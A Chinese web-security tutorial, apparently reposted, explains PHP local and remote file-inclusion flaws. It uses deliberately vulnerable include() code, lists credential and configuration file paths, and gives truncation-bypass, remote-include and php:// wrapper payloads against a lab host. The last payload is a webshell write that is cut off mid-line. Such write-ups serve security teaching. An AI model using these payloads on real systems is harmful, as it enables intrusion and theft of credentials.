web安全文件包含&LFI&RFI&协议利用
Posted Nu1LL+
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全文件包含&LFI&RFI&协议利用相关的知识,希望对你有一定的参考价值。
一、对文件包含(file include)的认识
什么是文件包含
文件包含就是为了将写好的代码功能更好的重复使用,用文件包含函数,将写好的功能代码直接引入到另一个代码页中,这样另一个代码页就不需要在写一遍重复的功能性代码。那么文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可能包含非预期文件。如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行。
文件包含漏洞会造成服务器网页被篡改、网站被挂马、服务器被远程控制、被安装后门等危害。
文件包含的出现
开发者为了节约开发时间,可以将重复利用的代码使用文件包含的函数,如include,reuqire等进行文件包含,大大节约开发的时间和成本。
比如这里正常的phpinfo代码,可是它的类型是文本类型
那么这里就需要一个文件包含来包含这个文本,让它里面的代码进行解析执行
<?php
$file=$_GET['filename']; //get传递变量filename给file
include($file);//包含这个file变量
?>
文件包含分类
LFI(local file inclue)本地文件包含:
本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行。
RFI(remote file inclue)远程文件包含:
远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码。
常见的文件包含函数
1.include() 包含并运行制定文件。在出错时产生警告(E_WARNING),基本会继续运行。
2.include_once() 在脚本执行期间包含并运行制定文件。与include区别:检查是否被包含过,如果是则不会再次包含。
3.require()包含并运行指定文件。require在出错时产生E_COMPLE_ERROR几倍错误,脚本中止运行
4.require_once() 基本完全与require相同 与require区别:检查是否被包含过,如果是则不会再次包含。
参考:https://www.freebuf.com/articles/web/247614.html
https://www.cnblogs.com/xhds/p/12216170.html
二、LFI-本地文件包含代码测试
1.无限制本地文件包含漏洞是指代码中没有为包含文件制定特定前缀或者.php、.html等扩展名,因此攻击者可以利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息,或者执行其他文件中的代码。
2.常见的敏感信息路径:
Windows
c:\\boot.ini // 查看系统版本
c:\\XX\\httpd.conf Apache配置信息
c:\\windows\\system32\\inetsrv\\MetaBase.xml // IIS配置文件
c:\\windows\\repair\\sam // 存储Windows系统初次安装的密码
c:\\ProgramFiles\\mysql\\my.ini // MySQL配置
c:\\ProgramFiles\\mysql\\data\\mysql\\user.MYD // MySQL root密码
c:\\windows\\php.ini // php 配置信息
Linux/Unix
/etc/passwd 账户信息
/etc/shadow 账户密码文件
/etc/httpd/conf/httpd.conf Apache配置文件
/etc/my.conf mysql 配置文件
/usr/local/app/apache2/conf/httpd.conf Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf 虚拟网站配置
/usr/local/app/php5/lib/php.ini PHP相关配置
无限制本地文件包含漏洞如下:
2.有限制本地文件包含漏洞是指代码中为包含文件制定了特定的前缀或者.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。常见的有限制本地文件包含过滤绕过的方式主要:有%00截断文件包含、路径长度截断文件包含、点号截断文件包含这三种,有限制本地文件包含如下
过滤后代码如下:
<?php
$file=$_GET['filename']; //get传递变量filename给file
//include($file);//包含这个file变量
include($file.'.php');//对包含的文件进行格式限制
?>
但是可以进行绕过,绕过如下:
1.%00截断绕过
%00会被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。攻击者可以利用这个漏洞绕过扩展名过滤
漏洞利用条件:
(1) magic_quotes_gpc=off
(2) PHP<5.3.4
payload:http://127.0.0.1/include.php?filename=11.jpg%00
2.路径长度截断绕过
操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断
漏洞利用条件:
Windows下目录的最大路径256B
Linux下目录的最大路径长度为4096B
http://127.0.0.1/include.php?
payload:
filename=phpinfo.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
参考:https://zhuanlan.zhihu.com/p/27739315
3.点号截断文件包含
点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。
payload:
filename=phpinfo.txt....................................................................................................................................................................................................................................................................
三、RFI-远程文件包含代码测试
1.无限制远程文件包含是指文件的位置并不是本地服务器,而是通过URL形式包含其他服务器上的文件,执行文件中的恶意代码。
这里远程地址:http://192.168.111.128/1.php
payload:
http://127.0.0.1/include.php?filename=http://192.168.111.128/1.txt
包含在1.txt中的PHP代码通过远程文件包含被成功当成PHP代码解析。
2.有限制的远程文件包含,有限制远程文件包含是指当代吗中存在特定的前缀或者.php、.html等扩展名过滤时,攻击者仅需要绕过前缀或者扩展名过滤,才能执行远程URL中恶意代码。
代码如下:
<?php
$file=$_GET['filename']; //get传递变量filename给file
//include($file);//包含这个file变量
include($file.'.php');
?>
绕过方法:
-
问号绕过
http://127.0.0.1/include.php?filename=http://192.168.111.128/1.txt?
-
#号绕过
http://127.0.0.1/include.php?filename=http://192.168.111.128/1.txt%23
-
空格绕过
http://127.0.0.1/include.php?filename=http://192.168.111.128/1.php%20 -
%00绕过
http://127.0.0.1/include.php?filename=http://192.168.111.128/1.php%00
四、PHP伪协议绕过
PHP带了很多内置URL风格的封装协议,可用于fopen、copy、file_exists和filesize等文件系统函数。除了这些内置封装协议,还能通过stream_wrapper_register注册自定义的封装协议。这些协议都被称为伪协议。
File:// ——访问本地文件系统
http:// ——访问HTTP(s)网址
ftp:// ——访问FTP(s)URLs
php:// 访问各个输入/输出流(I/o streams)
zlib:// 压缩流
data:// 读取数据(RFC2397)
glob:// 查找匹配的文件路径模式
phar:// PHP归档
ssh2:// Secure Sheel2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流
1.data://伪协议
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
利用环境:
allow_url_include=on
allow_url_fopen=on
payload:
http://127.0.0.1/include.php?filename=data://text/plain,<?php phpinfo();?>
2.php://伪协议
php://伪协议是PHP提供的一些输入输出流访问功能,允许访问PHP的输入输出流,标准输入输出和错误描述符,内存中、磁盘备份的临时文件流,以及可以操作其他读取和写入文件资源的过滤器。
一、php://filter
php://filter 是元封装器,设计用于数据流打开时的筛选过滤应用,对本地磁盘文件进行读写。
漏洞利用条件:
利用php:filter读本地磁盘文件时不需要开启allow_url_fopen和allow_url_include
用法
filename=php://filter/read=convert.base64-encode/resource=xx.php
filename=php://filter/convert.base64-encode/resource=xxx.php
3. file://伪协议
file://伪协议可以访问本地文件系统,读取文件的内容
前提条件是需要知道网站的绝对路径
payload:http://127.0.0.1/include.php?filename=file:///D:/phpstudy_pro/WWW/phpinfo.txt
4. php://input
php://input可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据,但是使用enctype=”multipart/form-data”的时候php://input是无效的。
执行phpinfo(); payload:
GET:http://127.0.0.1/include.php?filename=php://input
POST: <?php phpinfo(); ?>
写入一句话木马,利用环境: 需要开启allow_url_include=on
GET:http://127.0.0.1/include.php?filename=php://input
POST: <?php fputs(fopen('shell.php',以上是关于web安全文件包含&LFI&RFI&协议利用的主要内容,如果未能解决你的问题,请参考以下文章